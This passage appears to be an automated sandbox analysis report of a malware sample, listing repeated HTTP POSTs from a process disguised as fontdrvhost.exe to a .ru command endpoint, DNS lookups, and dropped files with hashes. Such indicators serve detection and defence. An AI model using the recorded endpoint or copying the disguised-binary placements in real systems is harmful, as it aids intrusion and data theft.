      server-timing: cfL4;desc="?proto=TCP&rtt=30524&min_rtt=28379&rtt_var=2693&sent=397&recv=387&lost=0&retrans=1&sent_bytes=94350&recv_bytes=172198&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:34 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FIW8Vj%2FsILdtLlCS1TPtwCGPxnRvIj7n%2BLfLHLaU%2FV38r4Ywkx%2Fso%2FewuHs4Y7DZwyogv%2BTSSZ2XR26I%2FOt4qD7457L98sZEBIIDmIV9YgvCkqLpZCjEx%2BvnxJ0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347bada2e7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30137&min_rtt=28379&rtt_var=2189&sent=401&recv=391&lost=0&retrans=1&sent_bytes=95333&recv_bytes=174017&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:35 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sLFHw5XI4S%2BsvrrJGhXivJReQUuM5V0zaT%2FRpuN0TbROI54T42UcBCxCj%2Bf3qcMbLL4MKUiqvEb%2Bev3CrAa%2BQnLg3S4Gs6ne32SFFdgyH1i4DtsKs4jvHCVGD6A%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347c21ec87713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29865&min_rtt=28379&rtt_var=1707&sent=405&recv=395&lost=0&retrans=1&sent_bytes=96324&recv_bytes=175836&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:36 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2FtMpPosZJ773F8V579GRtvYLuUDJHeth3PxaKAeeNWWcPSXitfvFetfpass%2F4mrvEIz2XjWfaX1OD9jlrRipJrBE%2Bav8BR%2FtWvHXiE4YgdfB3T4ubK6S13mWWw%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347c94c2f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29609&min_rtt=28379&rtt_var=1396&sent=409&recv=399&lost=0&retrans=1&sent_bytes=97307&recv_bytes=177655&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:37 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E2MVW27xrB6uslH0pbPayo3Xvlj7ZPyU%2FNJDHb9lRGabAJsTCg%2FpAcHW2Z4uizLyJBhJAFexWSCWCl8WovxEc51YsMT1p2orkrWWNn9818SRoXOCCuBWIPDpVes%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347d088ca7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29448&min_rtt=28379&rtt_var=1072&sent=413&recv=403&lost=0&retrans=1&sent_bytes=98288&recv_bytes=179474&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:38 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TZ%2B%2BLMstH9A5mVYp1C467uRfB%2BPI1gXEdiH%2BarR690mkVMjJb7cjGYn7sZzzYxn1%2Bg0yk3jtpbNp9SjjeXPOVrmVx5hB%2FaO5ipOdc0yCAX1Yt%2BMZ397JZ1moUTc%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347d7cd2c7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29322&min_rtt=28379&rtt_var=816&sent=417&recv=407&lost=0&retrans=1&sent_bytes=99265&recv_bytes=181293&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:39 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D5d9fCekkO7Z50G73OWJRl4SURUutG878ALpm23Q%2Bvxxe5tn0JMjZ9%2Fu3akMxFWMOO3D%2FyoJ%2BWxI%2FSZzpUN6Hv3r2WCQN0a0CfZl9GXpvX9mn2CvuzxTNr9rbck%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347defa9c7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29204&min_rtt=28379&rtt_var=658&sent=421&recv=411&lost=0&retrans=1&sent_bytes=100251&recv_bytes=183100&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:40 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pYlACiPU2BjwQhux%2FRyjKKCKbEy%2FjxeiU5I17JDSJQLHvvshj50kNvqjr7z5d7XnWyH1pkwXnE8BgXfXxiXFeCcOaAD46u6tuNQ2XeG%2BbN9EESlockFGNQlXOTs%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347e63fc77713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29117&min_rtt=28379&rtt_var=517&sent=425&recv=415&lost=0&retrans=1&sent_bytes=101234&recv_bytes=184919&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:42 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SJ05HGRC3g4sE1Pc1aR66Fe7hFH9jGvgj40nwnmb17al1xCkBgQnVQKQw0GUS64UIRwHR8EiErgU4P%2BdoC1Y4%2BuVAuF22bEqv1hgjqt4AYLMBMO7EQ4cGq2CNCo%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347ed6c0a7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29160&min_rtt=28379&rtt_var=437&sent=429&recv=419&lost=0&retrans=1&sent_bytes=102213&recv_bytes=186738&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:43 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=grsNoA%2B2sorOb16q0vZ4QyKWobcLCXwyDPKXVrRhz4w%2FamxPzaXtc%2Flq%2Bx5tpZ6tya5wJS8JiKGQsOkCRr9dHxzgzEJePIS4g5kbkMqB7D19qMekpG6tRV72g6Q%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347f4a8417713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29080&min_rtt=28379&rtt_var=353&sent=433&recv=423&lost=0&retrans=1&sent_bytes=103190&recv_bytes=188557&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:48 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HWiBIHQGJfEe7WR2AbDySsvbDqGxxMxJiMQf1C9JXWBscHcH%2FDRDUiS0QbTI6lGY5SktVuofEJbrFCRMLENKtlOSLGkcwjksXYcS88uyXjY4O8EyUNsDYoFmSIQ%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334814ec817713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29043&min_rtt=28379&rtt_var=300&sent=437&recv=427&lost=0&retrans=1&sent_bytes=104171&recv_bytes=190364&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 2600
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:51:43 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2BOl9HQAVqlmvwAiKzVCnFNVOevHgQI8mIm%2FJQqW3JAlz9JRFiVC%2B%2F1EHd4ZQTeo1PY7iOHUntqXdmBLB9UNQ67Ei9zwAsi4RyjJIqsePuaU5w43qQWvrRkXm74%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33450669fc9409-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=28969&min_rtt=28969&rtt_var=14484&sent=5&recv=6&lost=0&retrans=1&sent_bytes=50&recv_bytes=2879&delivery_rate=9286&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      DNS
      196.249.167.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      196.249.167.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      130.64.21.104.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      130.64.21.104.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      212.20.149.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      212.20.149.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      206.23.85.13.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      206.23.85.13.in-addr.arpa
      IN PTR
      Response
    • 104.21.64.130:80
      http://nutipa.ru/_authGamewordpress.php
      http
      fontdrvhost.exe
      217.4kB
      122.7kB
      434
      437

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200
    • 104.21.64.130:80
      http://nutipa.ru/_authGamewordpress.php
      http
      fontdrvhost.exe
      8.6kB
      1.2kB
      11
      8

      HTTP Request

      POST http://nutipa.ru/_authGamewordpress.php

      HTTP Response

      200
    • 8.8.8.8:53
      8.8.8.8.in-addr.arpa
      dns
      66 B
      90 B
      1
      1

      DNS Request

      8.8.8.8.in-addr.arpa

    • 8.8.8.8:53
      217.106.137.52.in-addr.arpa
      dns
      73 B
      147 B
      1
      1

      DNS Request

      217.106.137.52.in-addr.arpa

    • 8.8.8.8:53
      172.214.232.199.in-addr.arpa
      dns
      74 B
      128 B
      1
      1

      DNS Request

      172.214.232.199.in-addr.arpa

    • 8.8.8.8:53
      4.159.190.20.in-addr.arpa
      dns
      71 B
      157 B
      1
      1

      DNS Request

      4.159.190.20.in-addr.arpa

    • 8.8.8.8:53
      95.221.229.192.in-addr.arpa
      dns
      73 B
      144 B
      1
      1

      DNS Request

      95.221.229.192.in-addr.arpa

    • 8.8.8.8:53
      28.118.140.52.in-addr.arpa
      dns
      72 B
      158 B
      1
      1

      DNS Request

      28.118.140.52.in-addr.arpa

    • 8.8.8.8:53
      nutipa.ru
      dns
      fontdrvhost.exe
      55 B
      87 B
      1
      1

      DNS Request

      nutipa.ru

      DNS Response

      104.21.64.130
      172.67.185.214

    • 8.8.8.8:53
      196.249.167.52.in-addr.arpa
      dns
      73 B
      147 B
      1
      1

      DNS Request

      196.249.167.52.in-addr.arpa

    • 8.8.8.8:53
      130.64.21.104.in-addr.arpa
      dns
      72 B
      134 B
      1
      1

      DNS Request

      130.64.21.104.in-addr.arpa

    • 8.8.8.8:53
      212.20.149.52.in-addr.arpa
      dns
      72 B
      146 B
      1
      1

      DNS Request

      212.20.149.52.in-addr.arpa

    • 8.8.8.8:53
      206.23.85.13.in-addr.arpa
      dns
      71 B
      145 B
      1
      1

      DNS Request

      206.23.85.13.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Recovery\WindowsRE\OfficeClickToRun.exe

      Filesize

      3.5MB

      MD5

      e7870cd0c30a52066c454c15a5a5a2f5

      SHA1

      fc64203e05c104a116e7e4c354c9ee77c99737d6

      SHA256

      e4a958444e72eb1b3be02f3a8bf29044a81f328405a4969a4f66515ef219774e

      SHA512

      3e0a40959eaba1fbf3cb7a11707bc658421f3066e4e1beea56088ac213c10524127d4d9e2500e549a1ee608887c113973892d54fb91fae6ea9db4eb9e818bebe

    • C:\Users\Admin\AppData\Local\Temp\0Um11VS1bm.bat

      Filesize

      193B

      MD5

      ad42dee3d7db65f8e48183596bec0ea5

      SHA1

      6421480309ff80fe5eb123ddfd0c45ae68edb04b

      SHA256

      d99183125cc9f3f754de1371d7aae413f8c5c466e3e3449c4f67c5213178cdac

      SHA512

      e02379a7cf454b65291a08d427f4047d480ff4fc9b4746723e46d275087915f1de388c57963e107cc3df5fdb927c6f4cdfc8910a46e8d8946c96526591fe9e3e

    • memory/724-104-0x000000001D050000-0x000000001D058000-memory.dmp

      Filesize

      32KB

    • memory/4648-27-0x000000001BB10000-0x000000001BB1E000-memory.dmp

